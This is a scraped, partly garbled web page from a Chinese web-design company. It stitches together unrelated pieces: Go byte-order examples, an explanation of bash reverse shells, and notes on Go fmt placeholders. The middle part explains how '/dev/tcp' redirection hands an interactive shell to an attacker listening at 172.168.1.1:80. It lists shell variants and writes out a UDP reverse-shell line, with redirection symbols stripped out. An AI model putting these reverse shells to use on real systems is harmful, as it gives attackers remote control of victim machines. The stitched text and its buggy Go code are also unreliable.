Go中的binary包實(shí)現(xiàn)了簡(jiǎn)單的數(shù)字與字節(jié)序列的轉(zhuǎn)換以及變長(zhǎng)值的編解碼
創(chuàng)新互聯(lián)歡迎聯(lián)系:18980820575,為您提供成都網(wǎng)站建設(shè)網(wǎng)頁(yè)設(shè)計(jì)及定制高端網(wǎng)站建設(shè)服務(wù),創(chuàng)新互聯(lián)網(wǎng)頁(yè)制作領(lǐng)域十載,包括攪拌罐車(chē)等多個(gè)行業(yè)擁有多年建站經(jīng)驗(yàn),選擇創(chuàng)新互聯(lián),為網(wǎng)站保駕護(hù)航。
package main
import ( "fmt" "bytes" "encoding/binary" ) func main(){ n := 0x12345678 bytesBuffer := bytes.NewBuffer([]byte{}) //BigEndian 大端順序存儲(chǔ) LittleEndian小端順序存儲(chǔ) binary.Write(bytesBuffer, binary.BigEndian, int32(n)) data:=bytesBuffer.Bytes() fmt.Printf("[0]: %#x addr:%#x\n",data[0],data[0]) fmt.Printf("[0]: %#x addr:%#x\n",data[1],data[1]) fmt.Printf("[0]: %#x addr:%#x\n",data[2],data[2]) fmt.Printf("[0]: %#x addr:%#x\n",data[3],data[3]) }
輸出
[0]: 0x12 addr:0xc042010248 [1]: 0x34 addr:0xc042010249 [2]: 0x56 addr:0xc04201024a [3]: 0x78 addr:0xc04201024b
也可以使用下面的方式
n := 0x12345678 var data []byte = make([]byte,4) //操作的都是無(wú)符號(hào)整型 binary.BigEndian.PutUint32(data,uint32(n))
可以使用下面的方式判斷當(dāng)前系統(tǒng)的字節(jié)序類(lèi)型
const INT_SIZE int = int(unsafe.Sizeof(0))
//判斷我們系統(tǒng)中的字節(jié)序類(lèi)型 func systemEdian() { var i int = 0x1 bs := (*[INT_SIZE]byte)(unsafe.Pointer(i)) if bs[0] == 0 { fmt.Println("system edian is little endian") } else { fmt.Println("system edian is big endian") } }
將這句話(huà)拆開(kāi)來(lái)看, bash -i , , /dev/tcp/ , 01 ,有三個(gè)知識(shí)點(diǎn)。
(1) bash -i 是打開(kāi)一個(gè)交互的bash
(2) /dev/tcp/ 是Linux中的一個(gè)特殊設(shè)備,打開(kāi)這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用,建立一個(gè)socket連接,讀寫(xiě)這個(gè)文件就相當(dāng)于在這個(gè)socket連接中傳輸數(shù)據(jù)。同理,Linux中還存在/dev/udp/。
(3) 和 01 這兩個(gè)涉及到Linux文件描述符和重定向。此處的 是取地址符
(1)文件描述符
Linux啟動(dòng)時(shí)會(huì)默認(rèn)打開(kāi)三個(gè)文件描述符(實(shí)現(xiàn)文件讀寫(xiě)操作),Linux把鍵盤(pán)、顯示器等設(shè)備也當(dāng)做文件用文件描述符進(jìn)行控制,如果要修改默認(rèn)設(shè)備就需要進(jìn)行重定向。
(2)重定向
輸入的重定向包括, 和 ,輸出的重定向包括, 和 , n file 代表將文件描述符 n 重定向到file指代的文件(以只讀方式打開(kāi)),如果n省略就是0(標(biāo)準(zhǔn)輸入)。同理如果是輸出的重定向, n file ,n省略則默認(rèn)是1。
錯(cuò)誤輸出的重定向有三種形式
其中, 和 是一個(gè)意思,都是將標(biāo)準(zhǔn)錯(cuò)誤輸出合并到標(biāo)準(zhǔn)輸出中。 21 和 file 可以用如下過(guò)程圖表示
需要注意的是,上述輸入輸出重定向,將輸入和輸出綁定到文件或者設(shè)備只對(duì)該條指令有效,如果想要一直有效,就需要添加exec指令 exec n / file/n
(3)復(fù)制
與之形似的是文件描述符的復(fù)制 nm / nm ,這兩個(gè)都是將文件描述符 n 復(fù)制到 m ,兩者的區(qū)別是,前者是以只讀的形式打開(kāi),后者是以寫(xiě)的形式打開(kāi),因?yàn)樽x/寫(xiě)方式對(duì)于復(fù)制操作幾乎沒(méi)有影響所以?xún)烧呋究梢钥醋魇堑葍r(jià)的。這里的 目的是區(qū)分以數(shù)字為名字的文件和文件描述符的數(shù)值,如果沒(méi)有 系統(tǒng)會(huì)認(rèn)為是將文件描述符重定向到了一個(gè)數(shù)字作為文件名的文件,而不是另一個(gè)文件描述符。
此時(shí)再來(lái)看這句命令,可與理解為,創(chuàng)建一個(gè)可交互的bash和一個(gè)到172.168.1.1:80的TCP鏈接,然后將bash的輸入輸出錯(cuò)誤都重定向到在172.168.1.1:80監(jiān)聽(tīng)的進(jìn)程。
首先,反彈shell可以理解為,攻擊者監(jiān)聽(tīng)在TCP/UDP端口,被控制端的請(qǐng)求被轉(zhuǎn)發(fā)到該端口,可以控制其輸入輸出。一般攻擊者攻擊了一臺(tái)機(jī)器,并用自己的主機(jī)去連接該機(jī)器的端口,這是一種“正向連接”,遠(yuǎn)程桌面、web服務(wù)、ssh、telnet等都是正向連接的一種。但是如果被攻擊的機(jī)器處于內(nèi)網(wǎng)中可能造成無(wú)法連接,或者有防火墻等限制,再或者攻擊者需要進(jìn)行實(shí)時(shí)控制,正向連接是無(wú)法滿(mǎn)足需要的。所以有了“反向連接”,即讓被攻擊的主機(jī)主動(dòng)去連接攻擊者的服務(wù)器。
所以我們還可以從反向連接的角度來(lái)理解一下 01 。如果只是 bash -i /dev/tcp/172.168.1.1/80 ,將輸出描述符連接到了端口,該端口可接收到我們的輸出,即我們正向連接了被攻擊者的機(jī)器,但是我們輸入shell后是無(wú)法看到回顯的。回顯只會(huì)顯示在被攻擊者的機(jī)器上。如果我們想要得到回顯,需要將被攻擊機(jī)器的輸入描述符連接到我們監(jiān)聽(tīng)的端口上。
也就是說(shuō)如果我們想要看到回顯,除了先將輸出描述符連接到端口上,還需要將其輸入描述符也連接到端口上。即輸入描述符0和輸出描述符1連接相同, 01 即可解決。這就形成了一個(gè)回路,實(shí)現(xiàn)了遠(yuǎn)程交互式shell的功能。
不過(guò)這樣的一條指令還不夠完善,因?yàn)檫@條指令會(huì)使得我們?cè)诒还舻臋C(jī)器上依然能看到我們?cè)诠粽邫C(jī)器中執(zhí)行的指令,那么解決辦法就是將錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出進(jìn)行混合,即將 bash -i 換為 bash -i
Bash相關(guān)shell主要有以下幾種:
剛才詳細(xì)講的是第一種bash shell,第二種是將 這種錯(cuò)誤輸出的混合方式改成了 21 ,2代表錯(cuò)誤輸出,1代表標(biāo)準(zhǔn)輸出,2指向了1,即輸出混合了。文件描述符的復(fù)制 nm / nm 兩種雖然讀寫(xiě)不同但是對(duì)于shell的效果是等價(jià)的,即和 01 效果相同。所以第二種就是第一種的變種。第四種同理,輸入、輸出、報(bào)錯(cuò)都定位到同一位置。第五種選了一個(gè)新的文件描述符196,道理類(lèi)似。
對(duì)于第三種bash shell,exec已經(jīng)在前面提到過(guò)可以持續(xù)連接,后面的關(guān)鍵點(diǎn)如下:
從文件中依次讀取每一行,將其賦值給 line 變量(其他也可),之后在循環(huán)中對(duì)line進(jìn)行操作。這里不再?gòu)奈募凶x取,而是通過(guò)管道符對(duì)攻擊者機(jī)器上輸入的命令進(jìn)行依次執(zhí)行,并且將標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出都重定向到了文件描述符5,也就是攻擊機(jī)上,實(shí)現(xiàn)交互式shell的功能。
另外,本文最開(kāi)始的時(shí)候說(shuō)到/dev/tcp/是Linux中的一個(gè)特殊設(shè)備類(lèi)似的還有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i /dev/udp/172.168.1.1/80 01
除了bash還有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用腳本語(yǔ)言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反彈shell的方式,這里就不一一列舉了,原理類(lèi)似。寫(xiě)這篇文章總結(jié)shell的過(guò)程中順手將網(wǎng)絡(luò)上的shell進(jìn)行了收集,將近80條,寫(xiě)了BashShell.py,就是個(gè)簡(jiǎn)單的查詢(xún)shell的工具,有需要的下方留言
這些是死知識(shí),把常用的記住,不常用的直接查表就行了
golang 的fmt 包實(shí)現(xiàn)了格式化I/O函數(shù),類(lèi)似于C的 printf 和 scanf。
type Human struct {
Name string
}
var people = Human{Name:"zhangsan"}
golang沒(méi)有 '%u' 點(diǎn)位符,若整數(shù)為無(wú)符號(hào)類(lèi)型,默認(rèn)就會(huì)被打印成無(wú)符號(hào)的。
寬度與精度的控制格式以Unicode碼點(diǎn)為單位。寬度為該數(shù)值占用區(qū)域的最小寬度;精度為小數(shù)點(diǎn)之后的位數(shù)。
操作數(shù)的類(lèi)型為int時(shí),寬度與精度都可用字符 '*' 表示。
對(duì)于 %g/%G 而言,精度為所有數(shù)字的總數(shù),例如:123.45,%.4g 會(huì)打印123.5,(而 %6.2f 會(huì)打印123.45)。
%e 和 %f 的默認(rèn)精度為6
對(duì)大多數(shù)的數(shù)值類(lèi)型而言,寬度為輸出的最小字符數(shù),如果必要的話(huà)會(huì)為已格式化的形式填充空格。
而以字符串類(lèi)型,精度為輸出的最大字符數(shù),如果必要的話(huà)會(huì)直接截?cái)唷?/p>
使用起來(lái)很簡(jiǎn)單,一般配合fmt.Printf()使用,因?yàn)閒mt的Printf()是有格式的輸出,切忌使用Println(),否則將會(huì)以字符串的形式輸出。
查看原文: golang fmt格式“占位符”
分享文章:go語(yǔ)言重定向標(biāo)準(zhǔn)輸出 go語(yǔ)言逆向
當(dāng)前鏈接:http://chinadenli.net/article8/dodedip.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供Google、做網(wǎng)站、網(wǎng)頁(yè)設(shè)計(jì)公司、標(biāo)簽優(yōu)化、手機(jī)網(wǎng)站建設(shè)、網(wǎng)站營(yíng)銷(xiāo)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)